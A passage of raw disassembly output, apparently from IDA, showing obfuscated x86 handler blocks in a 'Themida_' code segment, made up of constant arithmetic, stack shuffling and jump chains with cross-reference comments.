mov [esp], ebp
jmp loc_590E35
; ---------------------------------------------------------------------------
loc_58DF1E: ; CODE XREF: Themida_:0058E349j
xchg ecx, [esp]
jmp loc_591C61
; ---------------------------------------------------------------------------
loc_58DF26: ; CODE XREF: Themida_:0059250Ej
rol word ptr [esp], cl
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58DF30: ; CODE XREF: Themida_:0058D0A3j
add ebx, 52427252h
xor ebx, 7A714980h
add edx, ebx
pop ebx
push eax
mov eax, 5A5A0F75h
and eax, 4AED0AF9h
xor eax, 33EC21C3h
add edx, eax
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 17C93416h
add edx, 412051EAh
sub edx, ecx
sub edx, 412051EAh
pop ecx
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58DF71: ; CODE XREF: Themida_:00592B33j
mov dh, 0F9h
mov ch, dh
jmp loc_58BF79
; ---------------------------------------------------------------------------
loc_58DF7A: ; CODE XREF: Themida_:005905BAj
and eax, esi
mov esi, [esp]
add esp, 4
shr eax, 0Ch
jmp loc_594F78
; ---------------------------------------------------------------------------
loc_58DF8A: ; CODE XREF: Themida_:0058E047j
mov edi, [esp]
push ebx
jmp loc_58A02B
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_590D45
; ---------------------------------------------------------------------------
loc_58DF9B: ; CODE XREF: Themida_:0058BE36j
shr edx, 3
push ebp
push 717D6FF9h
jmp loc_58B45D
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push 5124h
mov [esp], ebx
push 75CCh
mov [esp], eax
mov ah, 6Eh
or ah, 0DAh
push edx
mov dh, 6Bh
shr dh, 6
jmp loc_593D1D
; ---------------------------------------------------------------------------
loc_58DFCC: ; CODE XREF: Themida_:0058F31Bj
push 2E3A3DA5h
pop ebp
sub ebp, 1271272Ah
mov edx, ebp
pop ebp
and edx, 4DC22986h
push eax
jmp loc_58C88C
; ---------------------------------------------------------------------------
loc_58DFE7: ; CODE XREF: Themida_:0058E496j
push ecx
mov ecx, esp
push edx
mov edx, 4CCE1EC3h
add edx, 5D01AB6h
and edx, 36742609h
jmp loc_5905BF
; ---------------------------------------------------------------------------
loc_58E001: ; CODE XREF: Themida_:0058DCABj
sub esp, 4
jmp loc_591B44
; ---------------------------------------------------------------------------
loc_58E009: ; CODE XREF: Themida_:005916E6j
push 20ACh
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop esi
add esp, 4
push ebx
mov ebx, 4
jmp loc_59470C
; ---------------------------------------------------------------------------
loc_58E02A: ; CODE XREF: Themida_:0058E203j
pop ebx
sub ebp, 43DA5D76h
add ebp, ebx
add ebp, 43DA5D76h
pop ebx
jmp loc_592876
; ---------------------------------------------------------------------------
loc_58E03F: ; CODE XREF: Themida_:0058C949j
pop ebx
jmp loc_5894E8
; ---------------------------------------------------------------------------
loc_58E045: ; CODE XREF: Themida_:0058B182j
add ecx, edi
jmp loc_58DF8A
; ---------------------------------------------------------------------------
loc_58E04C: ; CODE XREF: Themida_:005902BFj
sub esi, ecx
pop ecx
push edi
jmp loc_5942BE
; ---------------------------------------------------------------------------
loc_58E055: ; CODE XREF: Themida_:0058D3CAj
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push eax
mov eax, 14A17BEEh
add eax, 2BC217EFh
push ebx
mov ebx, 14E3060h
sub eax, 74597374h
sub eax, ebx
jmp loc_58D6AB
; ---------------------------------------------------------------------------
loc_58E081: ; CODE XREF: Themida_:0058C224j
push esi
push 11BA5E43h
pop esi
push esi
not dword ptr [esp]
jmp loc_58D74A
; ---------------------------------------------------------------------------
loc_58E091: ; CODE XREF: Themida_:00589772j
add cl, ah
pop eax
mov bl, cl
pop ecx
xor bl, 7Dh
push eax
mov ah, 2Fh
add ah, 1
xor ah, 62h
add ah, 2Fh
sub ah, 80h
sub bl, ah
pop eax
shl bl, 5
xor bl, 45h
add bl, 3Ch
push ebx
push eax
mov al, 61h
jmp loc_5918C1
; ---------------------------------------------------------------------------
loc_58E0BE: ; CODE XREF: Themida_:00590DFFj
add esp, 4
shr ecx, 7
sub esp, 4
mov [esp], ebx
push 2B93h
mov [esp], esi
mov esi, 7C1E3220h
sub [esp+4], esi
mov esi, [esp]
jmp loc_58E56A
; ---------------------------------------------------------------------------
loc_58E0E3: ; CODE XREF: Themida_:0058CF4Dj
sub esp, 4
mov [esp], edi
jmp loc_58F79B
; ---------------------------------------------------------------------------
loc_58E0F1: ; CODE XREF: Themida_:0058EC13j
add esp, 4
push 3BA9h
mov [esp], eax
push 4
pop eax
add ebp, eax
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
push eax
mov eax, 5522340Ch
xor eax, 2B04DAEh
shr eax, 4
and eax, 7D1924F1h
add eax, 0FAE6DB74h
add edi, eax
jmp loc_58D43A
; ---------------------------------------------------------------------------
loc_58E12F: ; CODE XREF: Themida_:0059244Cj
mov [esp], ebp
mov ebp, 3CFE6F52h
shl ebp, 3
shr ebp, 1
sub ebp, 209103FBh
not ebp
sub esp, 4
jmp loc_5953CA
; ---------------------------------------------------------------------------
loc_58E14F: ; CODE XREF: Themida_:00595047j
add esp, 4
push 1AEh
mov [esp], ebx
mov ebx, esp
push edi
jmp loc_58DC41
; ---------------------------------------------------------------------------
push 0
mov ebx, [esp]
push ecx
push esp
pop ecx
jmp loc_591304
; ---------------------------------------------------------------------------
loc_58E172: ; CODE XREF: Themida_:0058D525j
not eax
jmp loc_591072
; ---------------------------------------------------------------------------
loc_58E179: ; CODE XREF: Themida_:0058B567j
xor al, 0DBh
neg al
sub al, 0D6h
jmp loc_593162
; ---------------------------------------------------------------------------
loc_58E184: ; CODE XREF: Themida_:00593D93j
mov esi, 79826290h
jmp loc_58EE41
; ---------------------------------------------------------------------------
loc_58E18E: ; CODE XREF: Themida_:0058CCFEj
dec ecx
xor ecx, 1F6241FAh
inc ecx
and ecx, 44E47862h
jmp loc_589826
; ---------------------------------------------------------------------------
loc_58E1A1: ; CODE XREF: Themida_:005958D1j
pop ebp
push ecx
mov ecx, 4
sub edi, ecx
mov ecx, [esp]
jmp loc_58AB9A
; ---------------------------------------------------------------------------
loc_58E1B2: ; CODE XREF: Themida_:00591D52j
mov edi, 4
add [esp+4], edi
pop edi
jmp loc_58C16B
; ---------------------------------------------------------------------------
loc_58E1C1: ; CODE XREF: Themida_:00593DA6j
pop esi
mov ebx, 59236CEEh
xor ebx, ebp
mov ebp, [esp]
add esp, 4
add ebx, 24CF6B7Dh
add ebx, edi
push edx
jmp loc_593115
; ---------------------------------------------------------------------------
loc_58E1DD: ; CODE XREF: Themida_:00592270j
xor dh, 0Fh
sub bl, dh
jmp loc_59172C
; ---------------------------------------------------------------------------
loc_58E1E7: ; CODE XREF: Themida_:0058DD48j
push dword ptr [esp]
jmp loc_5950D1
; ---------------------------------------------------------------------------
loc_58E1EF: ; CODE XREF: Themida_:00590AD7j
sub edx, 349AD41Ch
push ecx
jmp loc_5950C7
; ---------------------------------------------------------------------------
loc_58E1FB: ; CODE XREF: Themida_:0058D38Ej
mov [esp], ebx
push 4
jmp loc_58E02A
; ---------------------------------------------------------------------------
loc_58E208: ; CODE XREF: Themida_:00592268j
mov eax, 39053F4Ah
shl eax, 5
jmp loc_592745
; ---------------------------------------------------------------------------
loc_58E215: ; CODE XREF: Themida_:00595489j
add ebx, 2
xchg ebx, [esp]
jmp loc_58AE37
; ---------------------------------------------------------------------------
loc_58E223: ; CODE XREF: Themida_:00592494j
push 3BA9h
mov [esp], edi
push 699Ah
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ecx
mov ecx, 65E627FCh
add ecx, 0BE75906h
neg ecx
xor ecx, 8E327EFAh
add edi, ecx
pop ecx
add edi, 4
push edi
push dword ptr [esp+4]
jmp loc_594ADF
; ---------------------------------------------------------------------------
loc_58E25F: ; CODE XREF: Themida_:00595069j
or ebp, ebx
pop ebx
jmp loc_58946A
; ---------------------------------------------------------------------------
loc_58E267: ; CODE XREF: Themida_:0058CF13j
pop eax
xchg ebx, [esp]
jmp loc_58BBED
; ---------------------------------------------------------------------------
loc_58E270: ; CODE XREF: Themida_:0058CBFBj
movzx eax, al
pop dword ptr [edi+eax*4]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58E27B: ; CODE XREF: Themida_:00593544j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58E280: ; CODE XREF: Themida_:005918BCj
mov esi, 47265005h
or esi, 388A0459h
not esi
push ebx
push ebp
mov ebp, 5BD51802h
mov ebx, ebp
mov ebp, [esp]
add esp, 4
add ebx, 5A317501h
inc ebx
jmp loc_59088F
; ---------------------------------------------------------------------------
loc_58E2AB: ; CODE XREF: Themida_:00594841j
add esp, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_5939AC
; ---------------------------------------------------------------------------
loc_58E2B9: ; CODE XREF: Themida_:0058B2D4j
xor cl, 7Ch
xor cl, 0C0h
dec cl
dec cl
sub cl, 78h
xor cl, 4Bh
mov dh, cl
pop ecx
jmp loc_594C51
; ---------------------------------------------------------------------------
loc_58E2D1: ; CODE XREF: Themida_:00589BB7j
xor eax, 45791F61h
xor ebp, eax
pop eax
add ecx, 10150FFDh
add ecx, ebp
jmp loc_58F3CE
; ---------------------------------------------------------------------------
loc_58E2E6: ; CODE XREF: Themida_:005943A5j
pop ebx
add ebx, 7EA17BC2h
pop eax
jmp loc_58F7F4
; ---------------------------------------------------------------------------
loc_58E2F3: ; CODE XREF: Themida_:00590D04j
mov edi, 1Ch
push eax
jmp loc_58EF6B
; ---------------------------------------------------------------------------
loc_58E2FE: ; CODE XREF: Themida_:0058B0B4j
add dl, 1Fh
add bl, dl
pop edx
shr bl, 6
push eax
push ebx
mov bl, 6Ah
jmp loc_58B55E
; ---------------------------------------------------------------------------
loc_58E310: ; CODE XREF: Themida_:0058CD3Fj
shl eax, 5
add eax, 0FFFFFFFFh
sub eax, 1C174DC3h
xor eax, 0F0B242DEh
add ebp, eax
pop eax
push 320Ah
mov [esp], ecx
mov ecx, 7644A3EAh
xor ebp, ecx
mov ecx, [esp]
add esp, 4
add ecx, 0C231DF0h
add ecx, ebp
sub ecx, 0C231DF0h
pop ebp
jmp loc_58DF1E
; ---------------------------------------------------------------------------
loc_58E34E: ; CODE XREF: Themida_:0058F0F3j
add bl, 55h
sub bl, al
sub esp, 4
mov [esp], ecx
push eax
jmp loc_592DBC
; ---------------------------------------------------------------------------
loc_58E362: ; CODE XREF: Themida_:00594D11j
sub esi, 1CC536Ah
sub ebx, 0DF40755h
sub ebx, 85F2176h
jmp loc_58B487
; ---------------------------------------------------------------------------
loc_58E379: ; CODE XREF: Themida_:00594748j
add esp, 4
push edx
mov edx, 4FB13573h
inc edx
dec edx
sub edx, 2C546704h
push eax
mov eax, 2CE960D4h
add eax, 0F1BAF29Dh
add esi, eax
mov eax, [esp]
add esp, 4
sub esi, edx
jmp loc_592348
; ---------------------------------------------------------------------------
loc_58E3A7: ; CODE XREF: Themida_:0059255Bj
push ebp
mov ebp, 626866EEh
jmp loc_58D997
; ---------------------------------------------------------------------------
loc_58E3B2: ; CODE XREF: Themida_:0059292Dj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push 919h
mov [esp], eax
push 5EA949C8h
pop eax
jmp loc_58A92F
; ---------------------------------------------------------------------------
loc_58E3D8: ; CODE XREF: Themida_:0058FBBCj
add edx, 4
sub esp, 4
mov [esp], ecx
push eax
mov eax, 507B0E12h
push ebx
push 8B96DFFh
pop ebx
add ebx, 47C1A011h
jmp loc_58A32B
; ---------------------------------------------------------------------------
loc_58E3FC: ; CODE XREF: Themida_:005937BEj
pop ebx
push 7BDBh
mov [esp], ecx
mov cl, 2Ch
jmp loc_593335
; ---------------------------------------------------------------------------
loc_58E40C: ; CODE XREF: Themida_:0058B2BAj
add edi, ebx
pop ebx
jmp loc_5933A2
; ---------------------------------------------------------------------------
loc_58E414: ; CODE XREF: Themida_:0058D442j
mov ecx, 1971A54h
mov eax, ecx
pop ecx
push edi
mov edi, 19026BE0h
xor eax, edi
pop edi
push esi
mov esi, 55B3613Ch
or esi, 4E363E8Ch
shl esi, 7
jmp loc_5944C9
; ---------------------------------------------------------------------------
loc_58E439: ; CODE XREF: Themida_:00592954j
pop esi
jmp loc_58ED43
; ---------------------------------------------------------------------------
loc_58E43F: ; CODE XREF: Themida_:0059471Fj
push edi
jmp loc_58D79F
; ---------------------------------------------------------------------------
loc_58E445: ; CODE XREF: Themida_:0058CB3Ej
xor edi, 1A3E0D71h
sub ebp, edi
pop edi
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_58B573
; ---------------------------------------------------------------------------
loc_58E45A: ; CODE XREF: Themida_:00592849j
push dword ptr [esp]
pop eax
jmp loc_58DBFD
; ---------------------------------------------------------------------------
loc_58E463: ; CODE XREF: Themida_:0058A148j
add esp, 4
shl ecx, 3
jmp loc_58B634
; ---------------------------------------------------------------------------
loc_58E46E: ; CODE XREF: Themida_:0058BF13j
mov ecx, ebx
pop ebx
xor ecx, 2E9E00EEh
add ebx, ecx
pop ecx
sub ebx, eax
sub ebx, 0D3C4319h
push 614Ch
jmp loc_59134C
; ---------------------------------------------------------------------------
loc_58E48C: ; CODE XREF: Themida_:0058BE1Bj
pop edi
pop edx
add [esp+4], edi
push dword ptr [esp]
pop edi
jmp loc_58DFE7
; ---------------------------------------------------------------------------
loc_58E49B: ; CODE XREF: Themida_:0058DC2Fj
mov dh, 99h
push 50FAh
mov [esp], ecx
mov ch, 15h
push dx
push 5E3Ch
mov [esp], ecx
jmp loc_59320A
; ---------------------------------------------------------------------------
loc_58E4B6: ; CODE XREF: Themida_:0058B06Bj
mov cl, 0F4h
sub dl, cl
pop ecx
jmp near ptr unk_58A3DD
; ---------------------------------------------------------------------------
loc_58E4C0: ; CODE XREF: Themida_:0058D79Aj
mov [esp], edx
mov dh, 0CAh
and dh, 0A1h
add dh, 0ABh
jmp loc_58F572
; ---------------------------------------------------------------------------
loc_58E4D0: ; CODE XREF: Themida_:0058DC3Cj
mov [esp], edx
jmp loc_58CA3E
; ---------------------------------------------------------------------------
loc_58E4D8: ; CODE XREF: Themida_:00592B4Dj
mov bl, 0F6h
jmp loc_5940B7
; ---------------------------------------------------------------------------
loc_58E4DF: ; CODE XREF: Themida_:005937F3j
xor ebp, 74DE7DCBh
add ecx, ebp
pop ebp
push eax
mov eax, 4
jmp loc_58F9C2
; ---------------------------------------------------------------------------
loc_58E4F3: ; CODE XREF: Themida_:00594536j
pop edx
pop ebx
jmp loc_590813
; ---------------------------------------------------------------------------
loc_58E4FA: ; CODE XREF: Themida_:0058DBF0j
mov ebx, 45DA4753h
shl ebx, 2
shl ebx, 8
sub ebx, 2EAE51A6h
push edi
mov edi, 125C43CAh
neg edi
dec edi
neg edi
sub edi, 0EBC73A02h
jmp loc_590676
; ---------------------------------------------------------------------------
loc_58E521: ; CODE XREF: Themida_:00590917j
inc edx
push ebp
mov ebp, 0E5E721Dh
or edx, ebp
pop ebp
add edx, 0E4B2A219h
add eax, edx
pop edx
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, 2
add eax, edi
jmp loc_594FEB
; ---------------------------------------------------------------------------
loc_58E54F: ; CODE XREF: Themida_:0058E788j
push dword ptr [esp+4]
jmp loc_5913BD
; ---------------------------------------------------------------------------
loc_58E558: ; CODE XREF: Themida_:00591CB8j
mov ebp, 0EBA16B5h
push 38A5h
mov [esp], edi
jmp loc_58FAF1
; ---------------------------------------------------------------------------
loc_58E56A: ; CODE XREF: Themida_:0058E0DEj
add esp, 4
mov eax, [esp]
sub esp, 4
jmp loc_589CC2
; ---------------------------------------------------------------------------
loc_58E57B: ; CODE XREF: Themida_:00594B10j
add ebx, ecx
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push ebx
jmp loc_58A8B8
; ---------------------------------------------------------------------------
loc_58E599: ; CODE XREF: Themida_:0058CB27j
sub bx, ax
sub bx, 256Eh
sub esp, 4
mov [esp], eax
mov ax, 77CEh
sub ax, 1
inc ax
push edi
jmp loc_590B65
; ---------------------------------------------------------------------------
loc_58E5BA: ; CODE XREF: Themida_:0058B89Aj
pop esi
xchg edi, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_5936E4
; ---------------------------------------------------------------------------
loc_58E5CA: ; CODE XREF: Themida_:0058F29Cj
pop edi
sub esp, 4
mov [esp], edi
push ebx
mov ebx, 0A1C0767h
jmp loc_592ADA
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_58C841
; ---------------------------------------------------------------------------
loc_58E5EB: ; CODE XREF: Themida_:005935CAj
push small 7D31h
mov [esp], ax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58E5F8: ; CODE XREF: Themida_:0058C3D2j
mov edi, esp
add edi, 4
jmp loc_592C1D
; ---------------------------------------------------------------------------
loc_58E605: ; CODE XREF: Themida_:00591BE2j
mov esp, [esp]
jmp loc_59431E
; ---------------------------------------------------------------------------
loc_58E60D: ; CODE XREF: Themida_:00592710j
mov edi, 6BCA49B7h
sub edi, 69E71FA0h
push ecx
jmp loc_5903D8
; ---------------------------------------------------------------------------
loc_58E61E: ; CODE XREF: Themida_:0058B0E5j
xchg ecx, [esp]
pop esp
push edi
mov edi, esp
push ebp
mov ebp, 6D2C01E4h
shr ebp, 6
jmp loc_5958C3
; ---------------------------------------------------------------------------
loc_58E633: ; CODE XREF: Themida_:0059460Bj
add esp, 4
sub eax, edx
mov edx, [esp]
add esp, 4
sub eax, 22FF2745h
add eax, 228976A3h
sub eax, 4B5E667Ah
sub eax, ebx
jmp loc_58A14D
; ---------------------------------------------------------------------------
loc_58E657: ; CODE XREF: Themida_:0059566Aj
sub [edi+24h], ebp
mov ebp, [esp]
jmp loc_58B6E4
; ---------------------------------------------------------------------------
loc_58E662: ; CODE XREF: Themida_:0058D9FBj
mov [esp], ecx
sub esp, 4
jmp loc_58AE08
; ---------------------------------------------------------------------------
loc_58E66D: ; CODE XREF: Themida_:0058FDC8j
add ebp, 0C7EDA6B3h
sub edx, 0BF9012Fh
add edx, ebp
push ebp
mov ebp, 0BF9012Fh
jmp loc_58EDCD
; ---------------------------------------------------------------------------
loc_58E686: ; CODE XREF: Themida_:0058FFA1j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59458A
; ---------------------------------------------------------------------------
loc_58E698: ; CODE XREF: Themida_:00592D08j
add esi, 2
jmp loc_593C12
; ---------------------------------------------------------------------------
loc_58E6A0: ; CODE XREF: Themida_:005923F6j
sub ecx, 0D942B2D3h
push edx
mov edx, ecx
jmp loc_5900A9
; ---------------------------------------------------------------------------
loc_58E6AE: ; CODE XREF: Themida_:0058CD72j
pop si
jmp loc_594A36
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 6580h
mov [esp], ecx
jmp loc_58A4BA
; ---------------------------------------------------------------------------
loc_58E6C5: ; CODE XREF: Themida_:0058BB44j
mov esi, 292F1B11h
jmp loc_593763
; ---------------------------------------------------------------------------
loc_58E6CF: ; CODE XREF: Themida_:0058CCD5j
push ecx
jmp loc_5953B6
; ---------------------------------------------------------------------------
loc_58E6D5: ; CODE XREF: Themida_:0058EF4Fj
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58E6F3: ; CODE XREF: Themida_:0058DA51j
pop esp
jmp loc_58A1C8
; ---------------------------------------------------------------------------
loc_58E6F9: ; CODE XREF: Themida_:00595AA2j
mov [esp], ebx
mov bh, 0BCh
or bh, 93h
push ecx
mov ch, 19h
jmp loc_591045
; ---------------------------------------------------------------------------
loc_58E709: ; CODE XREF: Themida_:0058FEB5j
pop eax
push ecx
mov ecx, esp
jmp loc_590BB1
; ---------------------------------------------------------------------------
loc_58E712: ; CODE XREF: Themida_:00591EC1j
pop edx
push ebp
jmp loc_591672
; ---------------------------------------------------------------------------
loc_58E719: ; CODE XREF: Themida_:00595831j
add esp, 4
push esi
mov esi, 1
and eax, esi
mov esi, [esp]
push 5C24h
jmp loc_590DB4
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
push eax
jmp loc_595AA7
; ---------------------------------------------------------------------------
loc_58E74F: ; CODE XREF: Themida_:00592151j
pop esi
add eax, ebp
sub eax, 59F9465Bh
pop ebp
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58E76C: ; CODE XREF: Themida_:00590700j
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58E771: ; CODE XREF: Themida_:0058CE1Aj
mov edi, 7DF0408h
xor ecx, edi
jmp loc_595A21
; ---------------------------------------------------------------------------
loc_58E77D: ; CODE XREF: Themida_:0058A9DEj
add edx, 16EF7F1Eh
pop ebp
add edx, 2
push edx
jmp loc_58E54F
; ---------------------------------------------------------------------------
loc_58E78D: ; CODE XREF: Themida_:00592B90j
pop esp
cmp cx, ax
pushf
jmp loc_58C40A
; ---------------------------------------------------------------------------
loc_58E797: ; CODE XREF: Themida_:00594419j
add edx, ecx
pop ecx
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esi
mov esi, 5A535186h
push 0
sub [esp], esi
pop esi
shl esi, 2
jmp loc_58BDF4
; ---------------------------------------------------------------------------
loc_58E7BA: ; CODE XREF: Themida_:005948F1j
pop dx
push edi
jmp loc_591330
; ---------------------------------------------------------------------------
loc_58E7C2: ; CODE XREF: Themida_:0058D8BCj
push ebx
sub esp, 4
mov [esp], edx
mov edx, 40CD7CEBh
sub esp, 4
mov [esp], ecx
mov ecx, 6D8C3D3Ch
push eax
mov eax, 210B4100h
or ecx, eax
pop eax
jmp loc_58AD8E
; ---------------------------------------------------------------------------
loc_58E7EA: ; CODE XREF: Themida_:0058AC5Fj
mov esp, [esp]
inc word ptr [esp]
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58E7F7: ; CODE XREF: Themida_:0058AEB6j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_58A5B5
; ---------------------------------------------------------------------------
loc_58E80D: ; CODE XREF: Themida_:0059106Dj
xor esi, 0B98615B6h
add eax, esi
mov esi, [esp]
add esp, 4
push ecx
mov ecx, 2
add eax, ecx
mov ecx, [esp]
jmp loc_58E897
; ---------------------------------------------------------------------------
loc_58E82E: ; CODE XREF: Themida_:0059257Cj
add al, dh
sub al, 0BCh
mov edx, [esp]
add esp, 4
jmp loc_58CFAA
; ---------------------------------------------------------------------------
loc_58E83D: ; CODE XREF: Themida_:0058A520j
shl ebx, 4
jmp loc_594CB5
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59020D
; ---------------------------------------------------------------------------
loc_58E850: ; CODE XREF: Themida_:0058EB00j
or edx, 47D306EAh
xor edx, 4C3D3CE2h
mov eax, edx
pop edx
mov ebx, 92EB8351h
sub ebx, eax
pop eax
and ebx, 0F9F32EEh
shl ebx, 6
xor ebx, 0B5B61C2Ah
push esi
jmp loc_589B42
; ---------------------------------------------------------------------------
loc_58E87C: ; CODE XREF: Themida_:00592077j
mov [esp], ebx
push ecx
mov ch, al
mov bl, ch
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
push eax
jmp loc_58CF0C
; ---------------------------------------------------------------------------
loc_58E897: ; CODE XREF: Themida_:0058E829j
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
jmp loc_58FA20
; ---------------------------------------------------------------------------
loc_58E8A8: ; CODE XREF: Themida_:00595A31j
push ecx
mov ecx, 2
add ebx, ecx
pop ecx
xor ebx, [esp]
xor [esp], ebx
jmp loc_5906F8
; ---------------------------------------------------------------------------
loc_58E8BC: ; CODE XREF: Themida_:00589FBBj
add ebp, ecx
jmp loc_592275
; ---------------------------------------------------------------------------
loc_58E8C3: ; CODE XREF: Themida_:0058CDBFj
push ebx
push eax
mov eax, 2EED432Fh
mov ebx, 4F2E873Eh
jmp loc_58D7DE
; ---------------------------------------------------------------------------
loc_58E8D4: ; CODE XREF: Themida_:0058C086j
sub esi, 268A21F6h
add esi, ecx
jmp loc_5958AF
; ---------------------------------------------------------------------------
loc_58E8E1: ; CODE XREF: Themida_:0058FF6Cj
sub ebx, 67F222F3h
pop esi
xchg ebx, [esp]
pop esp
mov [esp], eax
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58E8F4: ; CODE XREF: Themida_:005946A0j
mov ebx, 1F58215Bh
jmp loc_594F37
; ---------------------------------------------------------------------------
loc_58E8FE: ; CODE XREF: Themida_:0058B257j
add ebx, eax
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_591E64
; ---------------------------------------------------------------------------
loc_58E911: ; CODE XREF: Themida_:00594A49j
and si, di
pop di
xor si, 534Dh
mov cx, si
jmp loc_58B38D
; ---------------------------------------------------------------------------
loc_58E923: ; CODE XREF: Themida_:0058CD69j
xor di, 702Fh
mov dx, di
pop edi
or dx, 38C8h
sub dx, 0EF83h
jmp loc_58CC00
; ---------------------------------------------------------------------------
loc_58E93B: ; CODE XREF: Themida_:00592B5Ej
push ebx
sub esp, 4
mov [esp], edi
mov edi, 1EFD106Ah
push ecx
mov ecx, edi
push ecx
xor dword ptr [esp], 7D1B2040h
pop ebx
xor ebx, 7D1B2040h
jmp loc_58C179
; ---------------------------------------------------------------------------
loc_58E95E: ; CODE XREF: Themida_:0058F97Ej
mov eax, esp
jmp loc_58F0F8
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 78D8h
jmp loc_592DF6
; ---------------------------------------------------------------------------
loc_58E972: ; CODE XREF: Themida_:0058C976j
shr ebx, 5
neg ebx
push ecx
mov ecx, 0BC95AAB2h
xor ebx, ecx
pop ecx
push edx
mov edx, ebx
mov eax, edx
pop edx
pop ebx
add [esp+4], eax
jmp loc_58BF98
; ---------------------------------------------------------------------------
loc_58E990: ; CODE XREF: Themida_:0058D3FFj
mov esi, ebp
pop ebp
jmp loc_594D10
; ---------------------------------------------------------------------------
loc_58E998: ; CODE XREF: Themida_:00591C68j
push ebp
mov ebp, esp
push edi
mov edi, esp
add edi, 4
jmp loc_59108E
; ---------------------------------------------------------------------------
loc_58E9A9: ; CODE XREF: Themida_:00589F57j
sub esp, 4
mov [esp], ebx
push esp
pop ebx
jmp loc_594B01
; ---------------------------------------------------------------------------
loc_58E9B6: ; CODE XREF: Themida_:00593F99j
add ebp, 4
jmp loc_591832
; ---------------------------------------------------------------------------
loc_58E9C1: ; CODE XREF: Themida_:00591F3Fj
pop esp
jmp loc_58F7DA
; ---------------------------------------------------------------------------
loc_58E9C7: ; CODE XREF: Themida_:00593249j
mov [esp], ebp
mov ebp, 4
sub ecx, 4CEE3176h
jmp loc_58B33D
; ---------------------------------------------------------------------------
loc_58E9DA: ; CODE XREF: Themida_:00592E3Cj
push 553Ch
mov [esp], ecx
mov ecx, 1E9953FDh
shr ecx, 8
add ecx, 0FA957BB7h
sub edx, ecx
pop ecx
sub eax, 0F6E61DCh
jmp loc_5910C6
; ---------------------------------------------------------------------------
loc_58E9FD: ; CODE XREF: Themida_:0058DD1Cj
mov [esp], ebx
mov bl, 32h
add al, bl
jmp loc_590F8C
; ---------------------------------------------------------------------------
loc_58EA09: ; CODE XREF: Themida_:0059470Fj
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58EA17: ; CODE XREF: Themida_:0058CA80j
shr esi, 5
or esi, 46560BC7h
and esi, 18F81AD7h
sub esp, 4
jmp loc_58F007
; ---------------------------------------------------------------------------
loc_58EA31: ; CODE XREF: Themida_:0058D5F5j
mov ebp, 7BA65FC0h
jmp loc_58F7ED
; ---------------------------------------------------------------------------
loc_58EA3B: ; CODE XREF: Themida_:0058D16Cj
push ax
pushf
jmp loc_589462
; ---------------------------------------------------------------------------
loc_58EA43: ; CODE XREF: Themida_:0058DA5Bj
shr ah, 8
xor ah, 0F3h
sub ah, 0E3h
add bl, ah
jmp loc_58DCA3
; ---------------------------------------------------------------------------
loc_58EA53: ; CODE XREF: Themida_:00590658j
add ebp, ebx
jmp loc_5951F3
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
push esp
pop edx
push ebx
mov ebx, 4
add edx, ebx
jmp loc_589FE3
; ---------------------------------------------------------------------------
loc_58EA6E: ; CODE XREF: Themida_:0058B036j
pop edi
add esi, 4E0452A4h
add esi, ebx
sub esi, 4E0452A4h
pop ebx
push 6B35h
mov [esp], esi
mov esi, 0
mov ebx, esi
push dword ptr [esp]
mov esi, [esp]
jmp loc_5923FB
; ---------------------------------------------------------------------------
loc_58EA98: ; CODE XREF: Themida_:00593C84j
add eax, 5C51563Bh
sub edi, eax
pop eax
dec edi
push esi
mov esi, 362522ACh
or esi, 5D1736CAh
jmp loc_592B6A
; ---------------------------------------------------------------------------
loc_58EAB2: ; CODE XREF: Themida_:0059447Ej
add edi, ebp
pop ebp
xchg edi, [esp]
mov esp, [esp]
push esi
mov esi, 293F6E58h
not esi
jmp loc_59472E
; ---------------------------------------------------------------------------
loc_58EAC8: ; CODE XREF: Themida_:0058C337j
add al, 0B4h
add al, dh
sub al, 0B4h
add al, 37h
jmp loc_59425E
; ---------------------------------------------------------------------------
loc_58EAD5: ; CODE XREF: Themida_:00594499j
add esp, 4
push ebp
mov ebp, 4
add eax, ebp
mov ebp, [esp]
add esp, 4
add eax, 4
